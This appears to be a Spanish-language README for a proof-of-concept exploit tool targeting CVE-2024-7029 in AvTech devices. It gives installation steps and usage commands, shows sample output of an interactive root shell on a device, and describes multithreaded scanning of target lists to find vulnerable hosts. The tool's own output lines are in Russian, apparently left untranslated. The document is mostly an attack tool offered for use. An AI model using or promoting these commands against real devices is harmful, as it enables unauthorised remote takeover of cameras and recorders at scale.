
Un exploit PoC para la vulnerabilidad CVE-2024-7029 encontrada en dispositivos AvTech, que permite la ejecución remota de código (RCE).
GenAvTechRCEExploit Un PoC para la vulnerabilidad CVE-2024-7029 encontrada en dispositivos AvTech, que permite la ejecución remota de código (RCE). Esta herramienta puede escanear dispositivos vulnerables y ejecutar comandos en ellos de forma interactiva.
requestsprompt_toolkitalive_progressInstala las librerías necesarias con:
pip install -r requirements.txt
Para comprobar si un único objetivo es vulnerable e iniciar una shell interactiva:
python3 GenAvTechRCEExploit.py -u <target_url>
$ python3 GenAvTechRCEExploit.py -u http://192.168.1.100
[*] Выполняется проверка уязвимости цели...
[+] Обнаружена уязвимость на цели: http://192.168.1.100
[*] Запуск интерактивной оболочки...
Shell> whoami
root
Shell> uname -a
Linux avtech-device 4.15.0-45-generic #48-Ubuntu SMP Fri Jan 18 08:54:43 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Shell> exit
[*] Завершение интерактивной оболочки
Reemplaza <target_url> con la URL real del dispositivo objetivo.
Para escanear múltiples objetivos proporcionados en un archivo (una URL por línea):
python3 GenAvTechRCEExploit.py -f <file_path>
$ python3 GenAvTechRCEExploit.py -f targets.txt
Scanning Targets |████████████████████████████████████████| 100%
[+] Обнаружена уязвимость на цели: http://192.168.1.50
[+] Обнаружена уязвимость на цели: http://192.168.1.150
[-] Цель http://192.168.1.200 не уязвима
Reemplaza <file_path> con la ruta al archivo que contiene las URLs objetivo.
Puedes especificar el número de hilos para el escaneo con la opción -t:
python3 GenAvTechRCEExploit.py -f <file_path> -t <number_of_threads>
Por defecto, el número de hilos está establecido en 10.
python3 GenAvTechRCEExploit.py -u http://192.168.1.1
python3 GenAvTechRCEExploit.py -f targets.txt -t 20